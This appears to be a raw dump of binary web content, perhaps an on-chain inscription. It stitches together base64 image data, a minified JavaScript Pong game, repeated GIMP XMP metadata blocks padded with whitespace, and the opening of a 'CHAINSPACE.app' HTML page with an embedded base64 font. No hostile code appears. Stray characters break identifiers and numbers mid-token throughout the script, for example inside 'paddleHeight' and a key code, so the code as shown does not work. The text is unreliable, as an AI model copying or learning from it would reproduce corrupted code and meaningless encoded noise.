8z2CrPE4cnm+PaDTN2Orfa0ZuhsVNAAYxQQNAEYRcYikYo2g3eUyIo6QWEMLecWWSPmIY9m1D8ftJ6/6UNwex252lbrz8WS9vf4vJ3WT9nQiDiSooAHAKCZoADCKiEPSsYYzzqh4o/wsIe9ArIJeUbDsh8/H7StqudrotfSC92cec+29TzQwEnQLKmgAMIoJGgCMIuKQYbGGI86oeqP8LL4oY9c+9+qOojbtfVFERKYe+sa4z7eDnX40WTZVOoxRQ2/Y//Yv/Gfc1hGTnD6lySHBOCpoADCKCRoAjCLiEEnFGs44o6aN8n18UcZju35X6XV0tBHx7WyX+hqOQvTG/OJZ0cEqDmhU0ABgFBW0DKuaHdVyXfsw+/gq5Y176lkHrXez07vW+fpRjN73+aJLvhe3J449JDmIm4RQqKABwCgmaAAwiohDJBVruOKMujbK9/FFGRv3vObs7y15Pb0+N08/itFrzC895y3OY+6vKzdDV6KCBgCjmKABwCi+w0o61nDFGXVtM
lC8ictU1Z7T0+aIM2V3t99/o8e1tamP+1MoNNuyvlG+NeQob9kOhggYAo5igAcAoIg5JxxquOKOKjfJdUYaIJ87wRBlDO3eUHofmenxbP0yBaukdAXl0HnlQQQOAUUzQAGAUEYekYw1XnBGyUf6Er18Ut69S/SErM7xRxq5qIw4X34b92tVT7xIRkc8/MK/u4YwI0e/LF2vs3Pdyk8NBF6GCBgCjmKABwCgiDknHGq44w7f9p44zIqEPmTjjDE+UMfTzp93nrtCdjye/i22qX38Nj7bHjL66Ix/X73B4G9CooAHAKCpoSVfNrmo5aHe50DXMjmrZVykPvTDoPkfJf2dTN6k8N7JcVZ5vXe+S5WfG7Ssuvq/ttUOO1cfnOdZXsUaOV5vj/+y7W539IXzniPr1GFgTjTyooAHAKCZoADCKiEPSsYYrzqhzDbMrzvBGGa/82t0v4zz9+RS9SeWLNYYe+y9nv44lov6QY/XxeaKRrJ9LRxJ5+kNknYNYA3lQQQOAUUzQM
AGAUEYekY43SKzMC1zA74wxPlDH5F+WijDx8qwuyVkT4Iglf/BD1hxyrj9d9+iUD2vmLVreMX4+96CqO0BUfrrhD/z4/87uvJH+wuuVQjGJU0ABgFBM0ABhFxCHDYo2SKzOCHzJxxBlNRBk+vtUFOhrYs2pu23MsVe2sY89SK2jWDfyp85jVG9SYDvz9LLlwRtw1TR2rYw0tGv+nl+i/n6T9gRPF2e+ij939b//Q9lgRkcNe/J/2BxySxEr/e9btSf8N7808N0Y2KmgAMIoJGgCMIuIQScUaZVdmhD5kUkWcseygk1r6tn7/mbj9nU//KG6f4fjaPGvWrLALLrpBRER+tbj8kgPvQ0BK1ksEntqUtFdPuaHtsavvTNr/vNG3t0l+z+/bk3nMjtd+2/7Pf/OruH3dxi/F7ejvZc0D9zo/N2P2nDxDRBejggYAo3pmzJ5T/pXVXeIhVYlc3Lcybl/6V3+YHFT2xl/DlXKoKacd3dLnqqpFRBYsWFD6elleOC/7Jtu3M
Vz9c6NznPndboc+FuHTnlsxjfvSD/y507nvO/ljbPx8YGHD2U1mPHFTQAGAUEzQAGEXEISKXnvOWuF32xp+VKCOEK/YQ6Wz04bPiqI8X+lwTcUeWs++5M/sgh6yoYzhX9EHs0Z2ooAHAKCZoADCKddCSjjUsr8y46poznP0vfe6yUtfQa6Y1vX5ac0UfTcUehd9sfli14yjimZfbr4euiuvvghUf3YkKGgCMYoIGAKNYxSEiy6dtTA4ysDLDF2X4Hovu/dLXKrt2HtYedvFxrfiwsJojry/f/92Wvks+fHql16gr+vjB3yf/n/rA304rfIzzc196IPncV2fn/9xnk///f+D68tFO0fGHoIIGAKOYoAHAKFZxiKRijbJxRmic4IozvDu8ed6N2DTXqo+QFR/Naf36vuLC78Xt1y7/oyYHE8wVPmxWscfbfrWttmtHcWDRqEN/5a8i7mgi1shzjSZiDY0KGgCMooKW4lVzbTf+fG8Rz9gXuZOKrqW++Q9WxX1LX30sM
bj970cK21+u97EbnsVn9z049Lu4bo6rpHtWfdc1nPnpq3Hf03evitu6/aVWyT3T0c/l+Jv33qs8XHa9/pmnqHJuXJt9Ofn/+rW3P4XPjlY84+z/51Ny2n7v9xuvi9l8sXBS3dYWZDCL5+X7wWfXf8LPqmN7k9+88x96kqSvdlN2Odea+8+517EJ4aH/7MbQR/T7076IKVNAAYBQTNAAYRcSRQ51rmJ1vEfdEGYUfc+4gHX34ds3L4voavtRxXBm+aERfu8pr+q4nsq714BzSEU3rOfR/Uzp+KUp/lddxR7RRQt9zH04O7s2Oj3QMEhv/evexWzyPzL/dcR1XlCGSijMyj1UG+56K27cnf4WVRxsRKmgAMIoJGgCMIuIYpmycEbqG2RVneN+B+JtducfWjVK/ex0tOFZ39F6W9PnOsVTFCNEKi5vUeT81N2z1TnTupZ5VEjd5VkRYUEWs4eOKOwaPuj/u61v71uyT9DviDNeqDBGRiZ5zPBmwyqnfEWd4opPBmT93M
9tcVa2hU0ABgFBM0ABhFxCHZsUadD5k434HoizJe3u3uL/jvbNFVFXXxP6hyculzHH0g7lioz2v4wZ+qLVzs/h36HlQJ8Y3Hk4eRXnzPKS1//qIcVfoandX6M4mIrByTxDLzTzixlitTQQOAUUzQAGAUG/aLSP8h4+N22ZUZoQ+ZOOMMX5RR8N2IOsLRsUZnd5rrvDFdtLOdy+Y3HxO3q97Zrugudiuf+ImIiKxb/pW479SL/y5uh/QXPUdT16sr1tCooAHAKCZoADCKVRySjjXKrswIfsjEFWd4ogzZt9fdL+VeMjBr1qxSn+9Wa1W7it/B99/0Z3H7tOf/pfT51qxZIyJt4oYDcULbYwJc/uiDcfvCgueIvvbftXR53Lfhtlvj9uxzP5W7P+RY3V/n9eY1EGtoVNAAYBQVtAyrmkve+MtTKU9+Wv+7uL+9/ffUo7i+Snnsoe7+kvr6+mo5bzep4nfQc9SxyfkOK3a+SZMmxe2ogm7Km8ceXtm55r3jHXH7Ll2ZM
rrgpbh+X0R9yrO4POTbP9fTP0jQqaAAwigkaAIwi4hBJxRqlb/xlRBleOtbwRRkHv6H9OQCDdETwjT9PbqQ+r46Z6Oh39eXpDznWd71577LxjAAVNAAYxQQNAEYRcUg61ii/MqPgv3k61vBFGeqR9LT/K3bNEeLJ7S/E7bdPPtLZ79Ttm6wZpLdTcHlXM8MoRK+F1z+H7tcra6pYe56FChoAjGKCBgCjiDgkHWtUujLDw/WCgE8e/OPkf3iijJ7DjvCcsTsiDlfkoCMJ37Gu2ML3uaxzZ8YeKKW/v7/TQyhsy5bkPYX65/D1N4EKGgCMYoIGAKOIOGRYrJG5u1z+neOy3nWYomINX5TR89Zjnf3y42o3a3fxRQ55/3y46JjQzxXlikbKv40PqBcVNAAYRQUtkq6aXXsxp3aXy/96qRC6avZVyj1Tj/N8el2ha2YpWjWHVMVNVM11XweoCxU0ABjFBA0ARhFxiKRjDddm+TVtlK/pWMMbZYyfUPs4fFxxQdBj1YGKM
RiY+zvHxqHflJk97Z0vfi7/Y3IGRlNPb2xu3f1vhiwxCUUEDgFFM0ABgFBGHSPZm+Q1slJ+KNTxRxrRx7n9P3e8cr1bW49Z54o6i8UTRlSBZn2MddDPGj/ftwmiXfkflxu07OzYOKmgAMIoJGgCMIuIQyd4sP7W7XE07x6lYwxdlnDPF/dd1Yy0DCltJwUMhQPWooAHAKCZoADCKiEMkHWs4NstP7y5XT8ShYw1flHHE2KFarp1H1XtqDA4Oikj6HW9NG3Phx+P2wMBAbedbsGBB6XNjdKKCBgCjqKBFMvdiTu0uV9Pey7pq9lXKixZc4Oyf3CXPLEdVs0hSOes3Juu1p01YodpVVLn6fLfcckvcPu+88yq7RjcaM/5Ncfv1+5JvoFbWGkdjsjIejQoaAIxiggYAo4g4JHuz/PTucvVsjq9jDV+U0cSuetatXbtWREQOu/qwzGNXvjOJrq5f7nvZQfq8ec6d57zr16/PHN9opGOESZMmxe1ORgrRmKyMR6OCBgCjM
mKABwCgiDsmxWX6NG+V/cuL9+xsL7k86fVFGA7vqdaNLxrr75/80edfkKRWeu4rzAnlQQQOAUUzQAGAUEYdkb5avH8Muujl+HGUMF/KCAMdj6PvVtMNel5hyXPJ72bphd5sjbZ0byEIFDQBGMUEDgFFEHCKZm+XrfTKyNscPijJEcrwgIOHaJ2S/0R1x6OhBRxLy0/KRhPPcFZwXyIMKGgCMYoIGAKOIOCR7s3zf9p/be59r7Qx9yCTzBQGq37FPiIjUtgVqN6pzpYXr3CuOSjbpP/e525I/UPs6WLbyiZ/E7fknnNjBkcCFChoAjKKCluzN8lO7y/WqP6hgDXPmCwJ0v+sxdBGpa4e9bvHlfcU+pyveFfNujtvTZVHpczdBV7xUwiMTFTQAGMUEDQBGEXFIjs3ya1zDnP2CAKXGXfW6xcyZM/c37q3vGqfcm3+PuvXd8TpIdCkqaAAwigkaAIwi4pBhsUbJlRmha5hDXhDgegxdpPgOe91oUsD64unTp8ftBx98M
sLJr6POueCr3aYFgVNAAYBQTNAAYRcQhko41Sq7MyBNl9F6m98Tb/5DJs1/9m7jHF2W4HkMXyd5hbyR69NFHbZx7TF9t4wCooAHAKCZoADCKiEMkHWuUXJmRFWX4ZO2oJ+LfVQ/AyEQFDQBGUUGLpKrm8jf+iu0sl7WjnojIrn09hc4NoDtRQQOAUUzQAGAUEYekY40qb/zlseygk0RE5Dcq1vBFGXdsfbX09UaKd7/73V15biAEFTQAGMUEDQBGEXFIOtaI4oy6ogwfHWv4ooyNe15z9vc6e0emHTt22LoGG/ajRlTQAGAUEzQAGEXEISJH360jjHJxRlaU4aNjDV+UIbtH09b8boODg/WcWEUVQdcg4kCNqKABwCgmaAAwioijhKJxhksq1vBEGUObNlR2PRS3ZcuW5H+c3LlxYOSjggYAo6igc6iyUvZSVbOvUn7tyfpe89RtdBXb39/f6LUH590ct8997rZGr12FlU/8JG7PP+HEDo4EWaigAcAoJmgAMIqIM
Y5hG4gwHHWt4o4yXd3s+Pfr+na061pj5yPK4vfbki539lumogghj5Bh9/88GgC7BBA0ARhFxSPOxxqfmjovbcZzxpDrAF2W88mvPGcd5+gF0MypoADCKCRoAjCLiqJEzyhDJjjN8Uca+vZ4rEXF0ytq1a+P2zJkzOzYOjExU0ABgFBM0ABhFxFGRKM4IijJE3HGGN8qANcQa1fjLj82N2+vXr6/9eo8+qh8Gm1j79YqiggYAo5igAcAoIo5AmSszQh8yCYgzJj/LC/D6+vpqv4beQnSF2pfD9ec+06dPr3RMIXz7crj+HLZRQQOAUVTQHs2tYW5VRaXcqV352tHV76xZs0REZM2aNZ0aTk4DOXocnxpIjop+1k6wUC1Pm5zchPvgBz8Yt/XNwH+6c1WTQxIZe3jbP9Y3LRsfm0IFDQBGMUEDgFFEHFLx7nKBa5hHapyRJYo7Ovn1vylN3NjsRg8/8VSnhyAiIhu37+z0ELyooAHAKCZoADCKiEOGrdJgZUaj+Po/M
ujTxGHcVrIyTChoAjGKCBgCjiDhE0rFGyZUZRBkAqkIFDQBGMUEDgFFEHCLpWIM4A4ARVNAAYBQVtEhm1UylDKATqKABwCgmaAAwiojDo2isQZQBoCpU0ABgFBM0ABhFxCHEGQBsooIGAKOYoAHAKCKOHIgyAHQCFTQAGMUEDQBGEXEMQ5wBwAoqaAAwigpaqJqBOg0MDDj7Z8ye0/BI2rM4TipoADCKCRoAjBpVEYf+qrL8gfkdHEkHPdXa5ftqh86yFgGgeVTQAGAUEzQAGNUzY/acoU4PAgDQigoaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKP+H0xR6139GZi9AAAAAElFTkSuQmCC" class=M
"background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:padM
dleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(M
rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/M
2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===3Mk
8){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http:M
//purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:61748ddc-37bc-48d2-be40-0efc0651e8d2" xmpMM:InstanceID="xmp.iid:e533ec75-6d13-4226-81f5-ea9bb0916a64" xmpMM:OriginalDocumentID="xmp.did:83702722-c302-4955-8e4e-bb188af333f3" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412590946516" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMPM
 2.10" xmp:MetadataDate="2023:02:15T09:09:49+11:00" xmp:ModifyDate="2023:02:15T09:09:49+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:cbd05f1e-c41d-4a98-b8e9-a43d629848f4" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:09:50"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Mp
                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.oM
rg/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:619ef6f9-a24b-4c77-8b20-5b359fb96b46" xmpMM:InstanceID="xmp.iid:3da41d7f-a375-4ce7-822c-849a04e8cce6" xmpMM:OriginalDocumentID="xmp.did:256e0e9a-0fc8-49ad-b6d4-074a22b514ff" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412531524546" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xM
mp:MetadataDate="2023:02:15T09:08:46+11:00" xmp:ModifyDate="2023:02:15T09:08:46+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:2f4674b9-33c5-4837-a8ad-d9661fbebad0" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:08:51"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Mh
                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP CorM
e 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:0a5222dc-ba6c-4689-935c-134f56715b87" xmpMM:InstanceID="xmp.iid:2cd8805b-9efd-4a02-a6fb-d69cb09d046M
3" xmpMM:OriginalDocumentID="xmp.did:6a3ad741-88b7-4b7b-882e-c41f713289ad" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412613914843" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:10:12+11:00" xmp:ModifyDate="2023:02:15T09:10:12+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:441d00a3-f822-44bd-a340-a73ecbc0aa8c" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:wheM
n="2023-02-15T09:10:13"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LT                                                                 <?xpacket end="w"?>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
